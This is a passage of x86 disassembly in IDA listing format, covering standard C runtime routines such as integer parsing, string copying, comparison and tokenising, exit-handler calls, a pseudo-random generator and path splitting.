= dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h loc_4173D6: ; CODE XREF: sub_4173D0+4Ej cmp dword_443B70, 1 jle short loc_4173F6 push 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_10], eax jmp short loc_41740F ; --------------------------------------------------------------------------- loc_4173F6: ; CODE XREF: sub_4173D0+Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_10], edx loc_41740F: ; CODE XREF: sub_4173D0+24j cmp [ebp+var_10], 0 jz short loc_417420 mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4173D6 ; --------------------------------------------------------------------------- loc_417420: ; CODE XREF: sub_4173D0+43j mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+var_4] mov [ebp+var_C], ecx cmp [ebp+var_4], 2Dh jz short loc_417445 cmp [ebp+var_4], 2Bh jnz short loc_417458 loc_417445: ; CODE XREF: sub_4173D0+6Dj mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov [ebp+var_4], eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_417458: ; CODE XREF: sub_4173D0+73j mov [ebp+var_8], 0 loc_41745F: ; CODE XREF: sub_4173D0+E9j cmp dword_443B70, 1 jle short loc_41747B push 4 mov edx, [ebp+var_4] push edx call sub_41DA90 add esp, 8 mov [ebp+var_14], eax jmp short loc_417490 ; --------------------------------------------------------------------------- loc_41747B: ; CODE XREF: sub_4173D0+96j mov eax, [ebp+var_4] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_14], edx loc_417490: ; CODE XREF: sub_4173D0+A9j cmp [ebp+var_14], 0 jz short loc_4174BB mov eax, [ebp+var_8] imul eax, 0Ah mov ecx, [ebp+var_4] lea edx, [eax+ecx-30h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_41745F ; --------------------------------------------------------------------------- loc_4174BB: ; CODE XREF: sub_4173D0+C4j cmp [ebp+var_C], 2Dh jnz short loc_4174C8 mov eax, [ebp+var_8] neg eax jmp short loc_4174CB ; --------------------------------------------------------------------------- loc_4174C8: ; CODE XREF: sub_4173D0+EFj mov eax, [ebp+var_8] loc_4174CB: ; CODE XREF: sub_4173D0+F6j mov esp, ebp pop ebp retn sub_4173D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174D0 proc near ; CODE XREF: ___:0040250Fp ; ___:0040252Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_4173D0 add esp, 4 pop ebp retn sub_4174D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi loc_4174F7: ; CODE XREF: ___:0041753Fj cmp dword_443B70, 1 jle short loc_417517 push 8 mov eax, [ebp+8] xor ecx, ecx mov cl, [eax] push ecx call sub_41DA90 add esp, 8 mov [ebp-14h], eax jmp short loc_417530 ; --------------------------------------------------------------------------- loc_417517: ; CODE XREF: ___:004174FEj mov edx, [ebp+8] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp-14h], edx loc_417530: ; CODE XREF: ___:00417515j cmp dword ptr [ebp-14h], 0 jz short loc_417541 mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax jmp short loc_4174F7 ; --------------------------------------------------------------------------- loc_417541: ; CODE XREF: ___:00417534j mov ecx, [ebp+8] xor edx, edx mov dl, [ecx] mov [ebp-4], edx mov eax, [ebp+8] add eax, 1 mov [ebp+8], eax mov ecx, [ebp-4] mov [ebp-10h], ecx cmp dword ptr [ebp-4], 2Dh jz short loc_417566 cmp dword ptr [ebp-4], 2Bh jnz short loc_417579 loc_417566: ; CODE XREF: ___:0041755Ej mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx loc_417579: ; CODE XREF: ___:00417564j mov dword ptr [ebp-0Ch], 0 mov dword ptr [ebp-8], 0 loc_417587: ; CODE XREF: ___:004175F7j cmp dword_443B70, 1 jle short loc_4175A3 push 4 mov edx, [ebp-4] push edx call sub_41DA90 add esp, 8 mov [ebp-18h], eax jmp short loc_4175B8 ; --------------------------------------------------------------------------- loc_4175A3: ; CODE XREF: ___:0041758Ej mov eax, [ebp-4] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp-18h], edx loc_4175B8: ; CODE XREF: ___:004175A1j cmp dword ptr [ebp-18h], 0 jz short loc_4175F9 push 0 push 0Ah mov eax, [ebp-8] push eax mov ecx, [ebp-0Ch] push ecx call sub_41F850 mov ecx, eax mov esi, edx mov eax, [ebp-4] sub eax, 30h cdq add ecx, eax adc esi, edx mov [ebp-0Ch], ecx mov [ebp-8], esi mov edx, [ebp+8] xor eax, eax mov al, [edx] mov [ebp-4], eax mov ecx, [ebp+8] add ecx, 1 mov [ebp+8], ecx jmp short loc_417587 ; --------------------------------------------------------------------------- loc_4175F9: ; CODE XREF: ___:004175BCj cmp dword ptr [ebp-10h], 2Dh jnz short loc_41760E mov eax, [ebp-0Ch] neg eax mov edx, [ebp-8] adc edx, 0 neg edx jmp short loc_417614 ; --------------------------------------------------------------------------- loc_41760E: ; CODE XREF: ___:004175FDj mov eax, [ebp-0Ch] mov edx, [ebp-8] loc_417614: ; CODE XREF: ___:0041760Cj pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417620 proc near ; CODE XREF: ___:00402502p ; ___:0040251Fp ... var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_4] mov [ebp+var_30], eax call sub_41F970 mov [ebp+var_8], eax mov [ebp+var_C], 0 jmp short loc_417646 ; --------------------------------------------------------------------------- loc_41763D: ; CODE XREF: sub_417620+34j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_417646: ; CODE XREF: sub_417620+1Bj cmp [ebp+var_C], 20h jge short loc_417656 mov edx, [ebp+var_C] mov [ebp+edx+var_2C], 0 jmp short loc_41763D ; --------------------------------------------------------------------------- loc_417656: ; CODE XREF: sub_417620+2Aj ; sub_417620+79j mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] mov edx, ecx sar edx, 3 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_2C] or cl, al mov edx, [ebp+var_30] xor eax, eax mov al, [edx] sar eax, 3 mov [ebp+eax+var_2C], cl mov ecx, [ebp+var_30] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_30] add eax, 1 mov [ebp+var_30], eax test edx, edx jnz short loc_417656 cmp [ebp+arg_0], 0 jz short loc_4176A9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx jmp short loc_4176B2 ; --------------------------------------------------------------------------- loc_4176A9: ; CODE XREF: sub_417620+7Fj mov edx, [ebp+var_8] mov eax, [edx+18h] mov [ebp+var_4], eax loc_4176B2: ; CODE XREF: sub_417620+87j ; sub_417620+CFj mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_4176F1 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_4176F1 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4176B2 ; --------------------------------------------------------------------------- loc_4176F1: ; CODE XREF: sub_417620+B9j ; sub_417620+C4j mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp short loc_417702 ; --------------------------------------------------------------------------- loc_4176F9: ; CODE XREF: sub_417620:loc_417747j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_417702: ; CODE XREF: sub_417620+D7j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_417749 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] sar edx, 3 xor eax, eax mov al, [ebp+edx+var_2C] mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, edx and ecx, 7 mov edx, 1 shl edx, cl and eax, edx test eax, eax jz short loc_417747 mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_417749 ; --------------------------------------------------------------------------- loc_417747: ; CODE XREF: sub_417620+114j jmp short loc_4176F9 ; --------------------------------------------------------------------------- loc_417749: ; CODE XREF: sub_417620+EBj ; sub_417620+125j mov edx, [ebp+var_8] mov eax, [ebp+var_4] mov [edx+18h], eax mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_4] jnz short loc_41775E xor eax, eax jmp short loc_417761 ; --------------------------------------------------------------------------- loc_41775E: ; CODE XREF: sub_417620+138j mov eax, [ebp+arg_0] loc_417761: ; CODE XREF: sub_417620+13Cj mov esp, ebp pop ebp retn sub_417620 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: ___:004024F4p ; ___:00402C2Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_4177F3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_417794 shr ecx, 2 jnz short loc_417801 jmp short loc_4177B5 ; --------------------------------------------------------------------------- loc_417794: ; CODE XREF: sub_417770+1Bj ; sub_417770+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_4177C2 test al, al jz short loc_4177CA test esi, 3 jnz short loc_417794 mov ebx, ecx shr ecx, 2 jnz short loc_417801 loc_4177B0: ; CODE XREF: sub_417770+8Fj and ebx, 3 jz short loc_4177C2 loc_4177B5: ; CODE XREF: sub_417770+22j ; sub_417770+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_4177EE dec ebx jnz short loc_4177B5 loc_4177C2: ; CODE XREF: sub_417770+2Bj ; sub_417770+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417770+2Fj test edi, 3 jz short loc_4177E4 loc_4177D2: ; CODE XREF: sub_417770+72j mov [edi], al inc edi dec ecx jz loc_417866 test edi, 3 jnz short loc_4177D2 loc_4177E4: ; CODE XREF: sub_417770+60j mov ebx, ecx shr ecx, 2 jnz short loc_417857 loc_4177EB: ; CODE XREF: sub_417770+7Fj ; sub_417770+F4j mov [edi], al inc edi loc_4177EE: ; CODE XREF: sub_417770+4Dj dec ebx jnz short loc_4177EB pop ebx pop esi loc_4177F3: ; CODE XREF: sub_417770+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4177F9: ; CODE XREF: sub_417770+A9j ; sub_417770+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_4177B0 loc_417801: ; CODE XREF: sub_417770+20j ; sub_417770+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4177F9 test dl, dl jz short loc_41784B test dh, dh jz short loc_417841 test edx, 0FF0000h jz short loc_417837 test edx, 0FF000000h jnz short loc_4177F9 mov [edi], edx jmp short loc_41784F ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_417770+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41784F ; --------------------------------------------------------------------------- loc_417841: ; CODE XREF: sub_417770+B1j and edx, 0FFh mov [edi], edx jmp short loc_41784F ; --------------------------------------------------------------------------- loc_41784B: ; CODE XREF: sub_417770+ADj xor edx, edx mov [edi], edx loc_41784F: ; CODE XREF: sub_417770+C5j ; sub_417770+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_417861 loc_417857: ; CODE XREF: sub_417770+79j xor eax, eax loc_417859: ; CODE XREF: sub_417770+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_417859 loc_417861: ; CODE XREF: sub_417770+E5j and ebx, 3 jnz short loc_4177EB loc_417866: ; CODE XREF: sub_417770+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_417770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: ___:004024E0p ; sub_403038+1A5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_4178BC loc_417880: ; CODE XREF: sub_417870+3Cj ; sub_417870+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_4178B4 or al, al jz short loc_4178B0 cmp ah, [ecx+1] jnz short loc_4178B4 or ah, ah jz short loc_4178B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_4178B4 or al, al jz short loc_4178B0 cmp ah, [ecx+3] jnz short loc_4178B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_417880 mov edi, edi loc_4178B0: ; CODE XREF: sub_417870+18j ; sub_417870+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_4178B4: ; CODE XREF: sub_417870+14j ; sub_417870+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_4178BC: ; CODE XREF: sub_417870+Ej test edx, 1 jz short loc_4178D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_4178B4 inc ecx or al, al jz short loc_4178B0 test edx, 2 jz short loc_417880 loc_4178D8: ; CODE XREF: sub_417870+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_4178B4 or al, al jz short loc_4178B0 cmp ah, [ecx+1] jnz short loc_4178B4 or ah, ah jz short loc_4178B0 add ecx, 2 jmp short loc_417880 sub_417870 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp off_443B4C, 0 jz short loc_417912 call off_443B4C loc_417912: ; CODE XREF: ___:0041790Aj push offset dword_436028 push offset dword_436014 call sub_417AD0 add esp, 8 push offset dword_436010 push offset dword_436000 call sub_417AD0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 mov eax, [ebp+8] push eax call sub_4179C0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417960 proc near ; CODE XREF: sub_41A9A0+22p ; sub_41AEA0+2F1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1 mov eax, [ebp+arg_0] push eax call sub_4179C0 add esp, 0Ch pop ebp retn sub_417960 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 0 push 0 call sub_4179C0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 push 1 push 0 call sub_4179C0 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179C0 proc near ; CODE XREF: ___:0041794Bp ; sub_417960+Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx call sub_417AB0 cmp dword_4DB0EC, 1 jnz short loc_4179E3 mov eax, [ebp+arg_0] push eax nop call near ptr 2730F02h push eax nop call near ptr 27308F4h loc_4179E3: ; CODE XREF: sub_4179C0+10j mov dword_4DB0E8, 1 mov cl, byte ptr [ebp+arg_8] mov byte_4DB0E4, cl cmp [ebp+arg_4], 0 jnz short loc_417A43 cmp dword_4DC7D0, 0 jz short loc_417A31 mov edx, dword_4DC7CC mov [ebp+var_4], edx loc_417A0E: ; CODE XREF: sub_4179C0:loc_417A2Fj mov eax, [ebp+var_4] sub eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] cmp ecx, dword_4DC7D0 jb short loc_417A31 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_417A2F mov eax, [ebp+var_4] call dword ptr [eax] loc_417A2F: ; CODE XREF: sub_4179C0+68j jmp short loc_417A0E ; --------------------------------------------------------------------------- loc_417A31: ; CODE XREF: sub_4179C0+43j ; sub_4179C0+60j push offset dword_436034 push offset dword_43602C call sub_417AD0 add esp, 8 loc_417A43: ; CODE XREF: sub_4179C0+3Aj push offset dword_436040 push offset dword_436038 call sub_417AD0 add esp, 8 cmp dword_4DB0F0, 0 jnz short loc_417A7E push 0FFFFFFFFh call sub_4162E0 add esp, 4 and eax, 20h test eax, eax jz short loc_417A7E mov dword_4DB0F0, 1 call sub_416BF0 loc_417A7E: ; CODE XREF: sub_4179C0+9Cj ; sub_4179C0+ADj cmp [ebp+arg_8], 0 jz short loc_417A8B call sub_417AC0 jmp short loc_417A9F ; --------------------------------------------------------------------------- loc_417A8B: ; CODE XREF: sub_4179C0+C2j mov dword_4DB0EC, 1 mov ecx, [ebp+arg_0] push ecx nop call near ptr 77E75CB5h loc_417A9F: ; CODE XREF: sub_4179C0+C9j mov esp, ebp pop ebp retn sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AB0 proc near ; CODE XREF: sub_4179C0+4p ; sub_419BD0+4p push ebp mov ebp, esp push 0Dh call sub_41B780 add esp, 4 pop ebp retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AC0 proc near ; CODE XREF: sub_4179C0+C4p ; sub_419BD0+61p ... push ebp mov ebp, esp push 0Dh call sub_41B820 add esp, 4 pop ebp retn sub_417AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AD0 proc near ; CODE XREF: ___:0041791Cp ; ___:0041792Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp loc_417AD3: ; CODE XREF: sub_417AD0+21j mov eax, [ebp+arg_0] cmp eax, [ebp+arg_4] jnb short loc_417AF3 mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jz short loc_417AE8 mov edx, [ebp+arg_0] call dword ptr [edx] loc_417AE8: ; CODE XREF: sub_417AD0+11j mov eax, [ebp+arg_0] add eax, 4 mov [ebp+arg_0], eax jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417AF3: ; CODE XREF: sub_417AD0+9j pop ebp retn sub_417AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B00 proc near ; CODE XREF: ___:004027D7p ; sub_403038+43E2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_41F970 mov ecx, [ebp+arg_0] mov [eax+14h], ecx pop ebp retn sub_417B00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B10 proc near ; CODE XREF: ___:loc_4028E7p ; ___:loc_402C12p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_41F970 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [eax+14h] imul ecx, 343FDh add ecx, 269EC3h mov edx, [ebp+var_4] mov [edx+14h], ecx mov eax, [ebp+var_4] mov eax, [eax+14h] shr eax, 10h and eax, 7FFFh mov esp, ebp pop ebp retn sub_417B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B50 proc near ; CODE XREF: ___:004028BCp ; sub_403038+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_417BCA mov dh, [ecx+1] test dh, dh jz short loc_417BB7 loc_417B68: ; CODE XREF: sub_417B50+52j ; sub_417B50+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_417B8A test al, al jz short loc_417B84 loc_417B79: ; CODE XREF: sub_417B50+32j mov al, [esi] inc esi loc_417B7C: ; CODE XREF: sub_417B50+3Fj cmp al, dl jz short loc_417B8A test al, al jnz short loc_417B79 loc_417B84: ; CODE XREF: sub_417B50+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_417B8A: ; CODE XREF: sub_417B50+23j ; sub_417B50+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_417B7C lea edi, [esi-1] loc_417B94: ; CODE XREF: sub_417B50+63j mov ah, [ecx+2] test ah, ah jz short loc_417BC3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417B68 mov al, [ecx+3] test al, al jz short loc_417BC3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_417B94 jmp short loc_417B68 ; --------------------------------------------------------------------------- loc_417BB7: ; CODE XREF: sub_417B50+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_4185C6 ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: sub_417B50+49j ; sub_417B50+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_417BCA: ; CODE XREF: sub_417B50+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417B50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BD0 proc near ; CODE XREF: ___:00402889p ; sub_403038+3642p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 20h mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov eax, [ebp+arg_0] push eax call sub_414BE0 add esp, 4 cmp eax, 1 jb short loc_417C2B mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx+1] cmp edx, 3Ah jnz short loc_417C2B cmp [ebp+arg_4], 0 jz short loc_417C20 push 2 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] push ecx call sub_420350 add esp, 0Ch mov edx, [ebp+arg_4] mov byte ptr [edx+2], 0 loc_417C20: ; CODE XREF: sub_417BD0+35j mov eax, [ebp+arg_0] add eax, 2 mov [ebp+arg_0], eax jmp short loc_417C37 ; --------------------------------------------------------------------------- loc_417C2B: ; CODE XREF: sub_417BD0+23j ; sub_417BD0+2Fj cmp [ebp+arg_4], 0 jz short loc_417C37 mov ecx, [ebp+arg_4] mov byte ptr [ecx], 0 loc_417C37: ; CODE XREF: sub_417BD0+59j ; sub_417BD0+5Fj mov [ebp+var_C], 0 mov edx, [ebp+arg_0] mov [ebp+var_4], edx jmp short loc_417C4F ; --------------------------------------------------------------------------- loc_417C46: ; CODE XREF: sub_417BD0:loc_417CACj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_417C4F: ; CODE XREF: sub_417BD0+74j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_417CAE mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] xor edx, edx mov dl, byte_4DB681[ecx] and edx, 4 test edx, edx jz short loc_417C7A mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_417CAC ; --------------------------------------------------------------------------- loc_417C7A: ; CODE XREF: sub_417BD0+9Dj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 2Fh jz short loc_417C90 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 5Ch jnz short loc_417C9B loc_417C90: ; CODE XREF: sub_417BD0+B3j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx jmp short loc_417CAC ; --------------------------------------------------------------------------- loc_417C9B: ; CODE XREF: sub_417BD0+BEj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 2Eh jnz short loc_417CAC mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_417CAC: ; CODE XREF: sub_417BD0+A8j ; sub_417BD0+C9j ... jmp short loc_417C46 ; --------------------------------------------------------------------------- loc_417CAE: ; CODE XREF: sub_417BD0+87j cmp [ebp+var_C], 0 jz short loc_417D04 cmp [ebp+arg_8], 0 jz short loc_417CFC mov eax, [ebp+var_C] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_417CD2 mov ecx, [ebp+var_C] sub ecx, [ebp+arg_0] mov [ebp+var_14], ecx jmp short loc_417CD9 ; --------------------------------------------------------------------------- loc_417CD2: ; CODE XREF: sub_417BD0+F5j mov [ebp+var_14], 0FFh loc_417CD9: ; CODE XREF: sub_417BD0+100j mov edx, [ebp+var_14] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_420350 add esp, 0Ch mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_417CFC: ; CODE XREF: sub_417BD0+E8j mov ecx, [ebp+var_C] mov [ebp+arg_0], ecx jmp short loc_417D10 ; --------------------------------------------------------------------------- loc_417D04: ; CODE XREF: sub_417BD0+E2j cmp [ebp+arg_8], 0 jz short loc_417D10 mov edx, [ebp+arg_8] mov byte ptr [edx], 0 loc_417D10: ; CODE XREF: sub_417BD0+132j ; sub_417BD0+138j cmp [ebp+var_8], 0 jz loc_417DBA mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jb loc_417DBA cmp [ebp+arg_C], 0 jz short loc_417D6F mov ecx, [ebp+var_8] sub ecx, [ebp+arg_0] cmp ecx, 0FFh jnb short loc_417D45 mov edx, [ebp+var_8] sub edx, [ebp+arg_0] mov [ebp+var_18], edx jmp short loc_417D4C ; --------------------------------------------------------------------------- loc_417D45: ; CODE XREF: sub_417BD0+168j mov [ebp+var_18], 0FFh loc_417D4C: ; CODE XREF: sub_417BD0+173j mov eax, [ebp+var_18] mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_C] push eax call sub_420350 add esp, 0Ch mov ecx, [ebp+arg_C] add ecx, [ebp+var_10] mov byte ptr [ecx], 0 loc_417D6F: ; CODE XREF: sub_417BD0+15Aj cmp [ebp+arg_10], 0 jz short loc_417DB8 mov edx, [ebp+var_4] sub edx, [ebp+var_8] cmp edx, 0FFh jnb short loc_417D8E mov eax, [ebp+var_4] sub eax, [ebp+var_8] mov [ebp+var_1C], eax jmp short loc_417D95 ; --------------------------------------------------------------------------- loc_417D8E: ; CODE XREF: sub_417BD0+1B1j mov [ebp+var_1C], 0FFh loc_417D95: ; CODE XREF: sub_417BD0+1BCj mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx mov edx, [ebp+var_10] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_10] push ecx call sub_420350 add esp, 0Ch mov edx, [ebp+arg_10] add edx, [ebp+var_10] mov byte ptr [edx], 0 loc_417DB8: ; CODE XREF: sub_417BD0+1A3j jmp short loc_417E0E ; --------------------------------------------------------------------------- loc_417DBA: ; CODE XREF: sub_417BD0+144j ; sub_417BD0+150j cmp [ebp+arg_C], 0 jz short loc_417E02 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] cmp eax, 0FFh jnb short loc_417DD8 mov ecx, [ebp+var_4] sub ecx, [ebp+arg_0] mov [ebp+var_20], ecx jmp short loc_417DDF ; --------------------------------------------------------------------------- loc_417DD8: ; CODE XREF: sub_417BD0+1FBj mov [ebp+var_20], 0FFh loc_417DDF: ; CODE XREF: sub_417BD0+206j mov edx, [ebp+var_20] mov [ebp+var_10], edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_C] push edx call sub_420350 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+var_10] mov byte ptr [eax], 0 loc_417E02: ; CODE XREF: sub_417BD0+1EEj cmp [ebp+arg_10], 0 jz short loc_417E0E mov ecx, [ebp+arg_10] mov byte ptr [ecx], 0 loc_417E0E: ; CODE XREF: sub_417BD0:loc_417DB8j ; sub_417BD0+236j mov esp, ebp pop ebp retn sub_417BD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_402EC0+8p ; sub_403038+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417E40 loc_417E2C: ; CODE XREF: sub_417E20+1Ej sub ecx, 1000h sub eax, 1000h test 